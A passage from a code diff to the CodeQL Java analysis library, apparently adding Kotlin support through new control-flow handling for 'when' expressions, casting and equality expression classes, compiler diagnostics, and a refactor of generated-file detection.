     or
     result = n and n instanceof ConditionalExpr
     or
+    result = n and n instanceof WhenExpr
+    or
+    result = n and n instanceof WhenBranch
+    or
+    result = n and n instanceof StmtExpr
+    or
     result = n and n.(PostOrderNode).isLeafNode()
     or
     result = first(n.(PostOrderNode).firstChild())
@@ -862,6 +909,9 @@ private module ControlFlowGraphImpl {
     // the last node in an `ExprStmt` is the last node in the expression
     last(n.(ExprStmt).getExpr(), last, completion) and completion = NormalCompletion()
     or
+    // the last node in a `StmtExpr` is the last node in the statement
+    last(n.(StmtExpr).getStmt(), last, completion)
+    or
     // the last statement of a labeled statement is the last statement of its body...
     exists(LabeledStmt lbl, Completion bodyCompletion |
       lbl = n and last(lbl.getStmt(), last, bodyCompletion)
@@ -880,6 +930,54 @@ private module ControlFlowGraphImpl {
       last(s.getVariable(count(s.getAVariable())), last, completion) and
       completion = NormalCompletion()
     )
+    or
+    // The last node in a `when` expression is the last node in any of its branches or
+    // the last node of the condition of the last branch in the absence of an else-branch.
+    exists(WhenExpr whenexpr | whenexpr = n |
+      // If we have no branches then we are the last node
+      last = n and
+      completion = NormalCompletion() and
+      not exists(whenexpr.getBranch(_))
+      or
+      // If our last branch condition is false then we are done
+      exists(int i |
+        last(whenexpr.getBranch(i), last, BooleanCompletion(false, _)) and
+        completion = NormalCompletion() and
+        not exists(whenexpr.getBranch(i + 1))
+      )
+      or
+      // Any branch getting an abnormal completion is propagated
+      last(whenexpr.getBranch(_), last, completion) and
+      not completion instanceof YieldCompletion and
+      not completion instanceof NormalOrBooleanCompletion
+      or
+      // The last node in any branch. This will be wrapped up as a
+      // YieldCompletion, so we need to unwrap it here.
+      last(whenexpr.getBranch(_), last, YieldCompletion(completion))
+    )
+    or
+    exists(WhenBranch whenbranch | whenbranch = n |
+      // If the condition completes with anything other than true
+      // (or "normal", which we will also see if we don't know how
+      // to make specific true/false edges for the condition)
+      // (e.g. false or an exception), then the branch is done.
+      last(whenbranch.getCondition(), last, completion) and
+      not completion = BooleanCompletion(true, _) and
+      not completion = NormalCompletion()
+      or
+      // Similarly any non-normal completion of the RHS
+      // should propagate outwards:
+      last(whenbranch.getRhs(), last, completion) and
+      not completion instanceof NormalOrBooleanCompletion
+      or
+      // Otherwise we wrap the completion up in a YieldCompletion
+      // so that the `when` expression can tell that we have finished,
+      // and it shouldn't go on to the next branch.
+      exists(Completion branchCompletion |
+        last(whenbranch.getRhs(), last, branchCompletion) and
+        completion = YieldCompletion(branchCompletion)
+      )
+    )
   }
 
   /**
@@ -1134,6 +1232,8 @@ private module ControlFlowGraphImpl {
     or
     result = first(n.(ExprStmt).getExpr()) and completion = NormalCompletion()
     or
+    result = first(n.(StmtExpr).getStmt()) and completion = NormalCompletion()
+    or
     result = first(n.(LabeledStmt).getStmt()) and completion = NormalCompletion()
     or
     // Variable declarations in a variable declaration statement are executed sequentially.
@@ -1142,6 +1242,30 @@ private module ControlFlowGraphImpl {
       or
       exists(int i | last(s.getVariable(i), n, completion) and result = first(s.getVariable(i + 1)))
     )
+    or
+    // When expressions:
+    exists(WhenExpr whenexpr |
+      n = whenexpr and
+      result = first(whenexpr.getBranch(0)) and
+      completion = NormalCompletion()
+      or
+      exists(int i |
+        last(whenexpr.getBranch(i), n, completion) and
+        completion = BooleanCompletion(false, _) and
+        result = first(whenexpr.getBranch(i + 1))
+      )
+    )
+    or
+    // When branches:
+    exists(WhenBranch whenbranch |
+      n = whenbranch and
+      completion = NormalCompletion() and
+      result = first(whenbranch.getCondition())
+      or
+      last(whenbranch.getCondition(), n, completion) and
+      completion = BooleanCompletion(true, _) and
+      result = first(whenbranch.getRhs())
+    )
   }
 
   /*
diff --git a/java/ql/lib/semmle/code/java/Conversions.qll b/java/ql/lib/semmle/code/java/Conversions.qll
index b7cd80c4906..f3deb311a3d 100644
--- a/java/ql/lib/semmle/code/java/Conversions.qll
+++ b/java/ql/lib/semmle/code/java/Conversions.qll
@@ -111,16 +111,16 @@ class StringConversionContext extends ConversionSite {
   override string kind() { result = "string context" }
 }
 
-class CastConversionContext extends ConversionSite {
-  CastExpr c;
+class CastingConversionContext extends ConversionSite {
+  CastingExpr c;
 
-  CastConversionContext() { this = c.getExpr() }
+  CastingConversionContext() { this = c.getExpr() }
 
   override Type getConversionTarget() { result = c.getType() }
 
   override predicate isImplicit() { none() }
 
-  override string kind() { result = "cast context" }
+  override string kind() { result = "casting context" }
 }
 
 /**
diff --git a/java/ql/lib/semmle/code/java/Diagnostics.qll b/java/ql/lib/semmle/code/java/Diagnostics.qll
new file mode 100644
index 00000000000..086998691bd
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/Diagnostics.qll
@@ -0,0 +1,46 @@
+/**
+ * Provides classes representing warnings generated during compilation.
+ */
+
+import java
+
+/** A compiler-generated error, warning or remark. */
+class Diagnostic extends @diagnostic {
+  /** Gets the compilation that generated this diagnostic. */
+  Compilation getCompilation() { diagnostic_for(this, result, _, _) }
+
+  /**
+   * Gets the program that generated this diagnostic.
+   */
+  string getGeneratedBy() { diagnostics(this, result, _, _, _, _, _) }
+
+  /**
+   * Gets the severity of the message, on a range from 1 to 5: 1=remark,
+   * 2=warning, 3=discretionary error, 4=error, 5=catastrophic error.
+   */
+  int getSeverity() { diagnostics(this, _, result, _, _, _, _) }
+
+  /** Gets the error code for this compiler message. */
+  string getTag() { diagnostics(this, _, _, result, _, _, _) }
+
+  /** Holds if `s` is the error code for this compiler message. */
+  predicate hasTag(string s) { this.getTag() = s }
+
+  /**
+   * Gets the error message text associated with this compiler
+   * diagnostic.
+   */
+  string getMessage() { diagnostics(this, _, _, _, result, _, _) }
+
+  /**
+   * Gets the full error message text associated with this compiler
+   * diagnostic.
+   */
+  string getFullMessage() { diagnostics(this, _, _, _, _, result, _) }
+
+  /** Gets the source location corresponding to the compiler message. */
+  Location getLocation() { diagnostics(this, _, _, _, _, _, result) }
+
+  /** Gets a textual representation of this diagnostic. */
+  string toString() { result = this.getMessage() }
+}
diff --git a/java/ql/lib/semmle/code/java/Element.qll b/java/ql/lib/semmle/code/java/Element.qll
index 14e48fc0d40..553e447fa38 100755
--- a/java/ql/lib/semmle/code/java/Element.qll
+++ b/java/ql/lib/semmle/code/java/Element.qll
@@ -34,13 +34,16 @@ class Element extends @element, Top {
    * Elements pertaining to source files may include generated elements
    * not visible in source code, such as implicit default constructors.
    */
-  predicate fromSource() { this.getCompilationUnit().getExtension() = "java" }
+  predicate fromSource() { this.getCompilationUnit().isSourceFile() }
 
   /** Gets the compilation unit that this element belongs to. */
   CompilationUnit getCompilationUnit() { result = this.getFile() }
 
   /** Cast this element to a `Documentable`. */
   Documentable getDoc() { result = this }
+
+  /** Holds if this is an auxiliary program element generated by the compiler. */
+  predicate isCompilerGenerated() { compiler_generated(this, _) }
 }
 
 /**
diff --git a/java/ql/lib/semmle/code/java/Expr.qll b/java/ql/lib/semmle/code/java/Expr.qll
index b154595abc5..48023e135af 100755
--- a/java/ql/lib/semmle/code/java/Expr.qll
+++ b/java/ql/lib/semmle/code/java/Expr.qll
@@ -2,10 +2,8 @@
  * Provides classes for working with Java expressions.
  */
 
-import Member
-import Type
-import Variable
-import Statement
+import java
+private import semmle.code.java.frameworks.android.Compose
 
 /** A common super-class that represents all kinds of expressions. */
 class Expr extends ExprParent, @expr {
@@ -28,6 +26,9 @@ class Expr extends ExprParent, @expr {
   /** Gets the type of this expression. */
   Type getType() { exprs(this, _, result, _, _) }
 
+  /** Gets the Kotlin type of this expression. */
+  KotlinType getKotlinType() { exprsKotlinType(this, result) }
+
   /** Gets the compilation unit in which this expression occurs. */
   CompilationUnit getCompilationUnit() { result = this.getFile() }
 
@@ -124,7 +125,7 @@ class CompileTimeConstantExpr extends Expr {
       this instanceof Literal
       or
       // Casts to primitive types and casts to type `String`.
-      this.(CastExpr).getExpr().isCompileTimeConstant()
+      this.(CastingExpr).getExpr().isCompileTimeConstant()
       or
       // The unary operators `+`, `-`, `~`, and `!` (but not `++` or `--`).
       this.(PlusExpr).getExpr().isCompileTimeConstant()
@@ -158,6 +159,8 @@ class CompileTimeConstantExpr extends Expr {
         v.isFinal() and
         v.getInitializer().isCompileTimeConstant()
       )
+      or
+      this instanceof LiveLiteral
     )
   }
 
@@ -182,6 +185,8 @@ class CompileTimeConstantExpr extends Expr {
     exists(Variable v | this = v.getAnAccess() |
       result = v.getInitializer().(CompileTimeConstantExpr).getStringValue()
     )
+    or
+    result = this.(LiveLiteral).getValue().getStringValue()
   }
 
   /**
@@ -222,12 +227,12 @@ class CompileTimeConstantExpr extends Expr {
       )
       or
       (
-        b instanceof EQExpr and
+        b instanceof ValueOrReferenceEqualsExpr and
         if left = right then result = true else result = false
       )
       or
       (
-        b instanceof NEExpr and
+        b instanceof ValueOrReferenceNotEqualsExpr and
         if left != right then result = true else result = false
       )
     )
@@ -239,12 +244,12 @@ class CompileTimeConstantExpr extends Expr {
       right = b.getRightOperand().(CompileTimeConstantExpr).getBooleanValue()
     |
       (
-        b instanceof EQExpr and
+        b instanceof ValueOrReferenceEqualsExpr and
         if left = right then result = true else result = false
       )
       or
       (
-        b instanceof NEExpr and
+        b instanceof ValueOrReferenceNotEqualsExpr and
         if left != right then result = true else result = false
       )
       or
@@ -266,15 +271,18 @@ class CompileTimeConstantExpr extends Expr {
       /*
        * JLS 15.28 specifies that compile-time `String` constants are interned. Therefore `==`
        * equality can be interpreted as equality over the constant values, not the references.
+       *
+       * Kotlin's `==` and `===` operators will return the same result for `String`s, so they
+       * can be handled alike:
        */
 
       (
-        b instanceof EQExpr and
+        b instanceof ValueOrReferenceEqualsExpr and
         if left = right then result = true else result = false
       )
       or
       (
-        b instanceof NEExpr and
+        b instanceof ValueOrReferenceNotEqualsExpr and
         if left != right then result = true else result = false
       )
     )
@@ -291,6 +299,8 @@ class CompileTimeConstantExpr extends Expr {
     exists(Variable v | this = v.getAnAccess() |
       result = v.getInitializer().(CompileTimeConstantExpr).getBooleanValue()
     )
+    or
+    result = this.(LiveLiteral).getValue().getBooleanValue()
   }
 
   /**
@@ -308,7 +318,7 @@ class CompileTimeConstantExpr extends Expr {
       or
       result = this.(CharacterLiteral).getCodePointValue()
       or
-      exists(CastExpr cast, int val |
+      exists(CastingExpr cast, int val |
         cast = this and val = cast.getExpr().(CompileTimeConstantExpr).getIntValue()
       |
         if cast.getType().hasName("byte")
@@ -356,7 +366,7 @@ class CompileTimeConstantExpr extends Expr {
         or
         b instanceof XorBitwiseExpr and result = v1.bitXor(v2)
         // No `int` value for `AndLogicalExpr` or `OrLogicalExpr`.
-        // No `int` value for `LTExpr`, `GTExpr`, `LEExpr`, `GEExpr`, `EQExpr` or `NEExpr`.
+        // No `int` value for `LTExpr`, `GTExpr`, `LEExpr`, `GEExpr`, `ValueOrReferenceEqualsExpr` or `ValueOrReferenceNotEqualsExpr`.
       )
       or
       // Ternary conditional, with compile-time constant condition.
@@ -371,6 +381,8 @@ class CompileTimeConstantExpr extends Expr {
         result = v.getInitializer().(CompileTimeConstantExpr).getIntValue()
       )
     )
+    or
+    result = this.(LiveLiteral).getValue().getIntValue()
   }
 }
 
@@ -511,6 +523,17 @@ class AssignExpr extends Assignment, @assignexpr {
   override string getAPrimaryQlClass() { result = "AssignExpr" }
 }
 
+/**
+ * A Kotlin class member initializer assignment.
+ *
+ * For example, `class X { val y = 1 }`
+ */
+class KtInitializerAssignExpr extends AssignExpr {
+  KtInitializerAssignExpr() { ktInitializerAssignment(this) }
+
+  override string getAPrimaryQlClass() { result = "KtInitializerAssignExpr" }
+}
+
 /**
  * A common super-class to represent compound assignments, which include an implicit operator.
  *
@@ -693,20 +716,23 @@ class LongLiteral extends Literal, @longliteral {
   override string getAPrimaryQlClass() { result = "LongLiteral" }
 }
 
+/** DEPRECATED: Alias for FloatLiteral */
+deprecated class FloatingPointLiteral = FloatLiteral;
+
 /**
  * A float literal. For example, `4.2f`.
  *
  * A float literal is never negative; a preceding minus, if any, will always
  * be modeled as separate `MinusExpr`.
  */
-class FloatingPointLiteral extends Literal, @floatingpointliteral {
+class FloatLiteral extends Literal, @floatingpointliteral {
   /**
    * Gets the value of this literal as CodeQL 64-bit `float`. The value will
    * be parsed as Java 32-bit `float` and then converted to a CodeQL `float`.
    */
   float getFloatValue() { result = this.getValue().toFloat() }
 
-  override string getAPrimaryQlClass() { result = "FloatingPointLiteral" }
+  override string getAPrimaryQlClass() { result = "FloatLiteral" }
 }
 
 /**
@@ -949,20 +975,54 @@ class GEExpr extends BinaryExpr, @geexpr {
   override string getAPrimaryQlClass() { result = "GEExpr" }
 }
 
-/** A binary expression using the `==` operator. */
+/** A binary expression using Java's `==` or Kotlin's `===` operator. */
 class EQExpr extends BinaryExpr, @eqexpr {
   override string getOp() { result = " == " }
 
   override string getAPrimaryQlClass() { result = "EQExpr" }
 }
 
-/** A binary expression using the `!=` operator. */
+/** A binary expression using the Kotlin `==` operator, semantically equivalent to `Objects.equals`. */
+class ValueEQExpr extends BinaryExpr, @valueeqexpr {
+  override string getOp() { result = " (value equals) " }
+
+  override string getAPrimaryQlClass() { result = "ValueEQExpr" }
+}
+
+/** A binary expression using Java's `!=` or Kotlin's `!==` operator. */
 class NEExpr extends BinaryExpr, @neexpr {
   override string getOp() { result = " != " }
 
   override string getAPrimaryQlClass() { result = "NEExpr" }
 }
 
+/** A binary expression using the Kotlin `!=` operator, semantically equivalent to `Objects.equals`. */
+class ValueNEExpr extends BinaryExpr, @valueneexpr {
+  override string getOp() { result = " (value not-equals) " }
+
+  override string getAPrimaryQlClass() { result = "ValueNEExpr" }
+}
+
+/**
+ * A binary expression using either Java or Kotlin's `==` operator.
+ *
+ * This might test for reference equality or might function like `Objects.equals`. If you
+ * need to distinguish them, use `EQExpr` or `ValueEQExpr` instead.
+ */
+class ValueOrReferenceEqualsExpr extends BinaryExpr {
+  ValueOrReferenceEqualsExpr() { this instanceof EQExpr or this instanceof ValueEQExpr }
+}
+
+/**
+ * A binary expression using either Java or Kotlin's `!=` operator.
+ *
+ * This might test for reference equality or might function like `Objects.equals`. If you
+ * need to distinguish them, use `NEExpr` or `ValueNEExpr` instead.
+ */
+class ValueOrReferenceNotEqualsExpr extends BinaryExpr {
+  ValueOrReferenceNotEqualsExpr() { this instanceof NEExpr or this instanceof ValueNEExpr }
+}
+
 /**
  * A bitwise expression.
  *
@@ -1051,12 +1111,16 @@ class GreaterThanComparison extends ComparisonExpr {
 
 /**
  * An equality test is a binary expression using
- * the `==` or `!=` operator.
+ * Java's `==` or `!=` operators, or Kotlin's `==`, `!=`, `===` or `!==` operators.
+ *
+ * This could be a reference- or a value-(in)equality test.
  */
 class EqualityTest extends BinaryExpr {
   EqualityTest() {
     this instanceof EQExpr or
-    this instanceof NEExpr
+    this instanceof NEExpr or
+    this instanceof ValueEQExpr or
+    this instanceof ValueNEExpr
   }
 
   /** Gets a boolean indicating whether this is `==` (true) or `!=` (false). */
@@ -1064,6 +1128,23 @@ class EqualityTest extends BinaryExpr {
     result = true and this instanceof EQExpr
     or
     result = false and this instanceof NEExpr
+    or
+    result = true and this instanceof ValueEQExpr
+    or
+    result = false and this instanceof ValueNEExpr
+  }
+}
+
+/**
+ * An equality test is a binary expression using
+ * Java's `==` or `!=` operators or Kotlin's `===` or `!==` operators.
+ *
+ * If either operand is a reference type, this is a reference-in/equality test.
+ */
+class ReferenceEqualityTest extends EqualityTest {
+  ReferenceEqualityTest() {
+    this instanceof EQExpr or
+    this instanceof NEExpr
   }
 }
 
@@ -1135,20 +1216,77 @@ class LogNotExpr extends UnaryExpr, @lognotexpr {
   override string getAPrimaryQlClass() { result = "LogNotExpr" }
 }
 
-/** A cast expression. */
-class CastExpr extends Expr, @castexpr {
-  /** Gets the target type of this cast expression. */
+/**
+ * Any kind of expression that casts values from one type to another.
+ *
+ * For Java, this is only `CastExpr`, but for Kotlin it includes
+ * various other explicit or implicit casting operators.
+ */
+class CastingExpr extends Expr {
+  CastingExpr() {
+    this instanceof @castexpr or
+    this instanceof @safecastexpr or
+    this instanceof @implicitcastexpr or
+    this instanceof @implicitnotnullexpr or
+    this instanceof @implicitcoerciontounitexpr or
+    this instanceof @unsafecoerceexpr
+  }
+
+  /** Gets the target type of this casting expression. */
   Expr getTypeExpr() { result.isNthChildOf(this, 0) }
 
-  /** Gets the expression to which the cast operator is applied. */
+  /** Gets the expression to which the casting operator is applied. */
   Expr getExpr() { result.isNthChildOf(this, 1) }
+}
 
+/** A cast expression. */
+class CastExpr extends CastingExpr, @castexpr {
   /** Gets a printable representation of this expression. */
   override string toString() { result = "(...)..." }
 
   override string getAPrimaryQlClass() { result = "CastExpr" }
 }
 
+/** A safe cast expression. */
+class SafeCastExpr extends CastingExpr, @safecastexpr {
+  /** Gets a printable representation of this expression. */
+  override string toString() { result = "... as? ..." }
+
+  override string getAPrimaryQlClass() { result = "SafeCastExpr" }
+}
+
+/** An implicit cast expression. */
+class ImplicitCastExpr extends CastingExpr, @implicitcastexpr {
+  /** Gets a printable representation of this expression. */
+  override string toString() { result = "<implicit cast>" }
+
+  override string getAPrimaryQlClass() { result = "ImplicitCastExpr" }
+}
+
+/** An implicit cast-to-non-null expression. */
+class ImplicitNotNullExpr extends CastingExpr, @implicitnotnullexpr {
+  /** Gets a printable representation of this expression. */
+  override string toString() { result = "<implicit not null>" }
+
+  override string getAPrimaryQlClass() { result = "ImplicitNotNullExpr" }
+}
+
+/** An implicit coercion-to-unit expression. */
+class ImplicitCoercionToUnitExpr extends CastingExpr, @implicitcoerciontounitexpr {
+  /** Gets a printable representation of this expression. */
+  override string toString() { result = "<implicit coercion to unit>" }
+
+  override string getAPrimaryQlClass() { result = "ImplicitCoercionToUnitExpr" }
+}
+
+/** An unsafe coerce expression. */
+class UnsafeCoerceExpr extends CastingExpr, @unsafecoerceexpr {
+  /** Gets a printable representation of this expression. */
+  override string toString() { result = "<unsafe coerce>" }
+
+  override string getAPrimaryQlClass() { result = "UnsafeCoerceExpr" }
+}
+
 /** A class instance creation expression. */
 class ClassInstanceExpr extends Expr, ConstructorCall, @classinstancexpr {
   /** Gets the number of arguments provided to the constructor of the class instance creation expression. */
@@ -1238,7 +1376,24 @@ class LambdaExpr extends FunctionalExpr, @lambdaexpr {
    * Gets the implicit method corresponding to this lambda expression.
    * The parameters of the lambda expression are the parameters of this method.
    */
-  override Method asMethod() { result = this.getAnonymousClass().getAMethod() }
+  override Method asMethod() {
+    not this.isKotlinFunctionN() and
+    result = this.getAnonymousClass().getAMethod()
+    or
+    this.isKotlinFunctionN() and
+    result = this.getAnonymousClass().getAMethod() and
+    result.getNumberOfParameters() > 1
+  }
+
+  /**
+   * Holds if this expression is a big-arity lambda expression in Kotlin.
+   */
+  predicate isKotlinFunctionN() {
+    exists(RefType r |
+      this.getAnonymousClass().extendsOrImplements(r) and
+      r.getSourceDeclaration().hasQualifiedName("kotlin.jvm.functions", "FunctionN")
+    )
+  }
 
   /** Holds if the body of this lambda is an expression. */
   predicate hasExprBody() { lambdaKind(this, 0) }
@@ -1312,6 +1467,47 @@ class MemberRefExpr extends FunctionalExpr, @memberref {
   override string getAPrimaryQlClass() { result = "MemberRefExpr" }
 }
 
+/**
+ * Property references are represented by their implicit class instance expressions,
+ * which instantiate an anonymous class that overrides the `get` and `set` methods designated by
+ * their functional interface type.
+ */
+class PropertyRefExpr extends ClassInstanceExpr, @propertyref {
+  /**
+   * Gets the implicit `get` method corresponding to this property reference expression, if any.
+   */
+  Method asGetMethod() {
+    result = this.getAnonymousClass().getAMethod() and result.getName() = "get"
+  }
+
+  /**
+   * Gets the implicit `set` method corresponding to this property reference expression, if any.
+   */
+  Method asSetMethod() {
+    result = this.getAnonymousClass().getAMethod() and result.getName() = "set"
+  }
+
+  /**
+   * Gets the property getter referenced by this property reference expression, if any.
+   */
+  Callable getGetterCallable() { propertyRefGetBinding(this, result) }
+
+  /**
+   * Gets the field referenced by this property reference expression, if any.
+   */
+  Field getField() { propertyRefFieldBinding(this, result) }
+
+  /**
+   * Gets the property setter referenced by this property reference expression, if any.
+   */
+  Callable getSetterCallable() { propertyRefSetBinding(this, result) }
+
+  /** Gets a printable representation of this expression. */
+  override string toString() { result = "...::..." }
+
+  override string getAPrimaryQlClass() { result = "PropertyRefExpr" }
+}
+
 /** A conditional expression or a `switch` expression. */
 class ChooseExpr extends Expr {
   ChooseExpr() { this instanceof ConditionalExpr or this instanceof SwitchExpr }
@@ -1439,6 +1635,26 @@ class InstanceOfExpr extends Expr, @instanceofexpr {
   override string getAPrimaryQlClass() { result = "InstanceOfExpr" }
 }
 
+// TODO: Should this be desugared into instanceof.not()?
+// Note expressions/IrTypeOperatorCall.kt says:
+//     NOT_INSTANCEOF, // TODO drop and replace with `INSTANCEOF<T>(x).not()`?
+/** An `instanceof` expression. */
+class NotInstanceOfExpr extends Expr, @notinstanceofexpr {
+  /** Gets the expression on the left-hand side of the `!is` operator. */
+  Expr getExpr() { result.isNthChildOf(this, 0) }
+
+  /** Gets the access to the type on the right-hand side of the `!is` operator. */
+  Expr getTypeName() { result.isNthChildOf(this, 1) }
+
+  /** Gets the type this `!is` expression checks for. */
+  RefType getCheckedType() { result = this.getTypeName().getType() }
+
+  /** Gets a printable representation of this expression. */
+  override string toString() { result = "... !is ..." }
+
+  override string getAPrimaryQlClass() { result = "NotInstanceOfExpr" }
+}
+
 /**
  * A local variable declaration expression.
  *
@@ -1662,6 +1878,21 @@ class VarAccess extends Expr, @varaccess {
   override string getAPrimaryQlClass() { result = "VarAccess" }
 }
 
+/**
+ * An access to an extension receiver parameter. This is a parameter access that takes the form of `this` in Kotlin.
+ */
+class ExtensionReceiverAccess extends VarAccess {
+  ExtensionReceiverAccess() {
+    exists(Parameter p |
+      this.getVariable() = p and p.getPosition() = 0 and p.getCallable() instanceof ExtensionMethod
+    )
+  }
+
+  override string getAPrimaryQlClass() { result = "ExtensionReceiverAccess" }
+
+  override string toString() { result = "this" }
+}
+
 /**
  * An l-value is a write access to a variable, which occurs as the destination of an assignment.
  */
@@ -2103,7 +2334,6 @@ class Argument extends Expr {
   predicate isExplicitVarargsArray() {
     exists(Array typ, Parameter p, Type ptyp |
       typ = this.getType() and
-      pos = call.getNumArgument() - 1 and
       call.getCallee().getParameter(pos) = p and
       p.isVarargs() and
       ptyp = p.getType() and
@@ -2125,11 +2355,164 @@ class Argument extends Expr {
    */
   predicate isNthVararg(int arrayindex) {
     not this.isExplicitVarargsArray() and
-    exists(Callable tgt |
+    exists(Callable tgt, int varargsParamPos |
       call.getCallee() = tgt and
-      tgt.isVarargs() and
-      arrayindex = pos - tgt.getNumberOfParameters() + 1 and
-      arrayindex >= 0
+      tgt.getParameter(varargsParamPos).isVarargs() and
+      arrayindex = pos - varargsParamPos and
+      arrayindex >= 0 and
+      arrayindex <= call.getNumArgument() - tgt.getNumberOfParameters()
     )
   }
 }
+
+/**
+ * An expression for which the value of the expression as a whole is discarded. Only cases
+ * of discarded values at the language level (as described by the JLS) are considered;
+ * data flow, for example to determine if an assigned variable value is ever read, is not
+ * considered. Such expressions can for example appear as part of an `ExprStmt` or as
+ * initializer of a `for` loop.
+ *
+ * For example, for the statement `i++;` the value of the increment expression, that is the
+ * old value of variable `i`, is discarded. Whereas for the statement `println(i++);` the
+ * value of the increment expression is not discarded but used as argument for the method call.
+ */
+class ValueDiscardingExpr extends Expr {
+  ValueDiscardingExpr() {
+    (
+      this = any(ExprStmt s).getExpr()
+      or
+      this = any(ForStmt s).getAnInit() and not this instanceof LocalVariableDeclExpr
+      or
+      this = any(ForStmt s).getAnUpdate()
+      or
+      // Only applies to SwitchStmt, but not to SwitchExpr, see JLS 17 section 14.11.2
+      this = any(SwitchStmt s).getACase().getRuleExpression()
+      or
+      // TODO: Workarounds for https://github.com/github/codeql/issues/3605
+      exists(LambdaExpr lambda |
+        this = lambda.getExprBody() and
+        lambda.asMethod().getReturnType() instanceof VoidType
+      )
+      or
+      exists(MemberRefExpr memberRef, Method implicitMethod, Method overridden |
+        implicitMethod = memberRef.asMethod()
+      |
+        this.getParent().(ReturnStmt).getEnclosingCallable() = implicitMethod and
+        // asMethod() has bogus method with wrong return type as result, e.g. `run(): String` (overriding `Runnable.run(): void`)
+        // Therefore need to check the overridden method
+        implicitMethod.getSourceDeclaration().overridesOrInstantiates*(overridden) and
+        overridden.getReturnType() instanceof VoidType
+      )
+    ) and
+    // Ignore if this expression is a method call with `void` as return type
+    not this.getType() instanceof VoidType
+  }
+}
+
+/** A Kotlin `when` expression. */
+class WhenExpr extends Expr, StmtParent, @whenexpr {
+  override string toString() { result = "when ..." }
+
+  override string getHalsteadID() { result = "WhenExpr" }
+
+  override string getAPrimaryQlClass() { result = "WhenExpr" }
+
+  /** Gets the `i`th branch. */
+  WhenBranch getBranch(int i) { result.isNthChildOf(this, i) }
+
+  /** Holds if this was written as an `if` expression. */
+  predicate isIf() { when_if(this) }
+}
+
+/** A Kotlin `when` branch. */
+class WhenBranch extends Stmt, @whenbranch {
+  /** Gets the condition of this branch. */
+  Expr getCondition() { result.isNthChildOf(this, 0) }
+
+  /** Gets the result of this branch. */
+  Stmt getRhs() { result.isNthChildOf(this, 1) }
+
+  /** Gets a result expression of this `when` branch. */
+  Expr getAResult() { result = getAResult(this.getRhs()) }
+
+  /** Holds if this is an `else` branch. */
+  predicate isElseBranch() { when_branch_else(this) }
+
+  /** Gets the `when` expression this is a branch of. */
+  WhenExpr getWhenExpr() { this = result.getBranch(_) }
+
+  override string toString() { result = "... -> ..." }
+
+  override string getAPrimaryQlClass() { result = "WhenBranch" }
+}
+
+// TODO: This might need more cases. It might be better as a predicate
+// on Stmt, overridden in each subclass.
+private Expr getAResult(Stmt s) {
+  result = s.(ExprStmt).getExpr() or
+  result = getAResult(s.(BlockStmt).getLastStmt())
+}
+
+/** A Kotlin `::class` expression. */
+class ClassExpr extends Expr, @getclassexpr {
+  /** Gets the expression whose class is being returned. */
+  Expr getExpr() { result.isNthChildOf(this, 0) }
+
+  override string toString() { result = "::class" }
+
+  override string getAPrimaryQlClass() { result = "ClassExpr" }
+}
+
+/**
+ * A statement expression.
+ *
+ * In some contexts, a Kotlin expression can contain a statement.
+ */
+class StmtExpr extends Expr, @stmtexpr {
+  /** Gets the statement of this statement expression. */
+  Stmt getStmt() { result.getParent() = this }
+
+  override string toString() { result = "<Stmt>" }
+
+  override string getHalsteadID() { result = "StmtExpr" }
+
+  override string getAPrimaryQlClass() { result = "StmtExpr" }
+
+  /**
+   * Gets the result expression of the enclosed statement.
+   */
+  Expr getResultExpr() { result = getStmtResultExpr(this.getStmt()) }
+}
+
+private Expr getStmtResultExpr(Stmt stmt) {
+  result = stmt.(ExprStmt).getExpr() or
+  result = getStmtResultExpr(stmt.(BlockStmt).getLastStmt())
+}
+
+/**
+ * A Kotlin string template expression. For example, `"foo${bar}baz"`.
+ */
+class StringTemplateExpr extends Expr, @stringtemplateexpr {
+  /**
+   * Gets the `i`th component of this string template.
+   *
+   * For example, in the string template `"foo${bar}baz"`, the 0th
+   * component is the string literal `"foo"`, the 1st component is
+   * the variable access `bar`, and the 2nd component is the string
+   * literal `"bar"`.
+   */
+  Expr getComponent(int i) { result.isNthChildOf(this, i) }
+
+  override string toString() { result = "\"...\"" }
+
+  override string getHalsteadID() { result = "StringTemplateExpr" }
+
+  override string getAPrimaryQlClass() { result = "StringTemplateExpr" }
+}
+
+/** A Kotlin not-null expression. For example, `expr!!`. */
+class NotNullExpr extends UnaryExpr, @notnullexpr {
+  override string toString() { result = "...!!" }
+
+  override string getAPrimaryQlClass() { result = "NotNullExpr" }
+}
diff --git a/java/ql/lib/semmle/code/java/GeneratedFiles.qll b/java/ql/lib/semmle/code/java/GeneratedFiles.qll
index f96cc3955e5..a7d1ae628f0 100644
--- a/java/ql/lib/semmle/code/java/GeneratedFiles.qll
+++ b/java/ql/lib/semmle/code/java/GeneratedFiles.qll
@@ -45,18 +45,23 @@ abstract class GeneratedFile extends File { }
  * A file detected as generated based on commonly-used marker comments.
  */
 library class MarkerCommentGeneratedFile extends GeneratedFile {
-  MarkerCommentGeneratedFile() {
-    exists(JavadocElement t | t.getFile() = this |
-      exists(string msg | msg = t.getText() |
-        msg.regexpMatch("(?i).*\\bGenerated By\\b.*\\bDo not edit\\b.*") or
-        msg.regexpMatch("(?i).*\\bThis (file|class|interface|art[ei]fact) (was|is|(has been)) (?:auto[ -]?)?gener(e?)ated.*") or
-        msg.regexpMatch("(?i).*\\bAny modifications to this file will be lost\\b.*") or
-        msg.regexpMatch("(?i).*\\bThis (file|class|interface|art[ei]fact) (was|is) (?:mechanically|automatically) generated\\b.*") or
-        msg.regexpMatch("(?i).*\\bThe following code was (?:auto[ -]?)?generated (?:by|from)\\b.*") or
-        msg.regexpMatch("(?i).*\\bAutogenerated by Thrift.*") or
-        msg.regexpMatch("(?i).*\\bGenerated By.*JavaCC.*") or
-        msg.regexpMatch("(?i).*\\bGenerated from .* by ANTLR.*")
-      )
+  MarkerCommentGeneratedFile() { any(GeneratedFileMarker t).getFile() = this }
+}
+
+/**
+ * A marker comment that indicates that it is in a generated file.
+ */
+private class GeneratedFileMarker extends Top instanceof JavadocElement {
+  GeneratedFileMarker() {
+    exists(string msg | msg = this.getText() |
+      msg.regexpMatch("(?i).*\\bGenerated By\\b.*\\bDo not edit\\b.*") or
+      msg.regexpMatch("(?i).*\\bThis (file|class|interface|art[ei]fact) (was|is|(has been)) (?:auto[ -]?)?gener(e?)ated.*") or
+      msg.regexpMatch("(?i).*\\bAny modifications to this file will be lost\\b.*") or
+      msg.regexpMatch("(?i).*\\bThis (file|class|interface|art[ei]fact) (was|is) (?:mechanically|automatically) generated\\b.*") or
